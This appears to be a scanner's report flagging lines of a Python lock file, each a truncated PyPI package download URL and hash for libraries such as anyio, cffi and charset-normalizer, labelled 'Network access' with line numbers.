wheels = [ { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8b - Network accessline 37
{ url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", siz - Network accessline 41
name = "annotated-types" version = "0.7.0" source = { registry = "https://pypi.org/simple" } - Network accessline 42
version = "0.7.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:af - Network accessline 43
source = { registry = "https://pypi.org/simple" } - Network accessline 44
sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", siz - Network accessline 45
wheels = [ { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773 - Network accessline 46
{ url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", s - Network accessline 50
name = "anyio" version = "4.14.2" source = { registry = "https://pypi.org/simple" } - Network accessline 51
version = "4.14.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 52
source = { registry = "https://pypi.org/simple" } - Network accessline 55
{ name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa1 - Network accessline 56
] sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260 - Network accessline 57
sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 26017 - Network accessline 58
wheels = [ { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d14 - Network accessline 59
{ url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125 - Network accessline 63
name = "attrs" version = "26.1.0" source = { registry = "https://pypi.org/simple" } - Network accessline 64
version = "26.1.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb - Network accessline 65
source = { registry = "https://pypi.org/simple" } - Network accessline 66
sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 95205 - Network accessline 67
wheels = [ { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac3 - Network accessline 68
{ url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 675 - Network accessline 72
name = "build" version = "1.5.0" source = { registry = "https://pypi.org/simple" } - Network accessline 73
version = "1.5.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 74
source = { registry = "https://pypi.org/simple" } - Network accessline 78
{ name = "pyproject-hooks" }, ] sdist = { url = "https://files.pythonhosted.org/packages/78/e0/df5e171f685f82f37b12e1f208064e24244911079d7b767447d1af7e0d70/build-1.5.0.tar.gz", hash = "sha256:302c22c3ba2a0fd5f3911918651341ebb3896176cbdec15b - Network accessline 79
] sdist = { url = "https://files.pythonhosted.org/packages/78/e0/df5e171f685f82f37b12e1f208064e24244911079d7b767447d1af7e0d70/build-1.5.0.tar.gz", hash = "sha256:302c22c3ba2a0fd5f3911918651341ebb3896176cbdec15bd421f80b1afc7647", size = 8979 - Network accessline 80
sdist = { url = "https://files.pythonhosted.org/packages/78/e0/df5e171f685f82f37b12e1f208064e24244911079d7b767447d1af7e0d70/build-1.5.0.tar.gz", hash = "sha256:302c22c3ba2a0fd5f3911918651341ebb3896176cbdec15bd421f80b1afc7647", size = 89796, - Network accessline 81
wheels = [ { url = "https://files.pythonhosted.org/packages/0d/fe/6bea5c9162869c5beba5d9c8abbed835ec85bf1ec1fba05a3822325c45f3/build-1.5.0-py3-none-any.whl", hash = "sha256:13f3eecb844759ab66efec90ca17639bbf14dc06cb2fdf37a9010322d9c50a6 - Network accessline 82
{ url = "https://files.pythonhosted.org/packages/0d/fe/6bea5c9162869c5beba5d9c8abbed835ec85bf1ec1fba05a3822325c45f3/build-1.5.0-py3-none-any.whl", hash = "sha256:13f3eecb844759ab66efec90ca17639bbf14dc06cb2fdf37a9010322d9c50a6f", size = 2601 - Network accessline 86
name = "certifi" version = "2026.10.19" source = { registry = "https://pypi.org/simple" } - Network accessline 87
version = "2026.10.19" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/1436c50cc46699de0230fbaacc1d1de7bfec413176099949e9d5112e88f2/certifi-2026.10.19.tar.gz", hash = "sha256: - Network accessline 88
source = { registry = "https://pypi.org/simple" } - Network accessline 89
sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/1436c50cc46699de0230fbaacc1d1de7bfec413176099949e9d5112e88f2/certifi-2026.10.19.tar.gz", hash = "sha256:035c1e85572b141bf1c3a3eff0e33a8eb74917522f2559075ff8d2fea780a1ae", size = - Network accessline 90
wheels = [ { url = "https://files.pythonhosted.org/packages/c4/51/29046e48f693c54e5b7412216d447a1d8362c9653148d98c02cdf65fa733/certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5f - Network accessline 91
{ url = "https://files.pythonhosted.org/packages/c4/51/29046e48f693c54e5b7412216d447a1d8362c9653148d98c02cdf65fa733/certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5fa8670e1b", size - Network accessline 95
name = "cffi" version = "2.0.0" source = { registry = "https://pypi.org/simple" } - Network accessline 96
version = "2.0.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 97
source = { registry = "https://pypi.org/simple" } - Network accessline 99
{ name = "pycparser", marker = "implementation_name != 'PyPy'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b59090211 - Network accessline 100
] sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 52358 - Network accessline 101
sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, - Network accessline 102
wheels = [ { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce - Network accessline 103
{ url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718 - Network accessline 104
{ url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee7 - Network accessline 105
{ url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d115 - Network accessline 106
{ url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e089 - Network accessline 107
{ url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b0 - Network accessline 108
{ url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd20 - Network accessline 109
{ url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83 - Network accessline 110
{ url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e - Network accessline 111
{ url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b62 - Network accessline 112
{ url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = - Network accessline 113
{ url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", siz - Network accessline 114
{ url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", siz - Network accessline 115
{ url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f0 - Network accessline 116
{ url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0b - Network accessline 117
{ url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271 - Network accessline 118
{ url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d925130851 - Network accessline 119
{ url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a89204 - Network accessline 120
{ url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3 - Network accessline 121
{ url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992 - Network accessline 122
{ url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470 - Network accessline 123
{ url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a3141458 - Network accessline 124
{ url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = - Network accessline 125
{ url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", siz - Network accessline 126
{ url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", siz - Network accessline 127
{ url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e305 - Network accessline 128
{ url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee - Network accessline 129
{ url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4 - Network accessline 130
{ url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe9115 - Network accessline 131
{ url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a - Network accessline 132
{ url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3a - Network accessline 133
{ url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a - Network accessline 134
{ url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d4 - Network accessline 135
{ url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = - Network accessline 136
{ url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", siz - Network accessline 137
{ url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", siz - Network accessline 138
{ url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270 - Network accessline 139
{ url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb87 - Network accessline 140
{ url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752 - Network accessline 141
{ url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5d - Network accessline 142
{ url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a644 - Network accessline 143
{ url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb0 - Network accessline 144
{ url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf9495116561355 - Network accessline 145
{ url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82 - Network accessline 146
{ url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = - Network accessline 147
{ url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", si - Network accessline 148
{ url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", si - Network accessline 152
name = "charset-normalizer" version = "3.4.7" source = { registry = "https://pypi.org/simple" } - Network accessline 153
version = "3.4.7" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256 - Network accessline 154
source = { registry = "https://pypi.org/simple" } - Network accessline 155
sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", - Network accessline 156
wheels = [ { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510 - Network accessline 157
{ url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2 - Network accessline 158
{ url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha25 - Network accessline 159
{ url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha25 - Network accessline 160
{ url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac - Network accessline 161
{ url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5 - Network accessline 162
{ url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f962 - Network accessline 163
{ url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497 - Network accessline 164
{ url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86dd - Network accessline 165
{ url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4b - Network accessline 166
{ url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df286 - Network accessline 167
{ url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2d - Network accessline 168
{ url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf32 - Network accessline 169
{ url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549 - Network accessline 170
{ url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b851866 - Network accessline 171
{ url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a02 - Network accessline 172
{ url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e060 - Network accessline 173
{ url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a - Network accessline 174
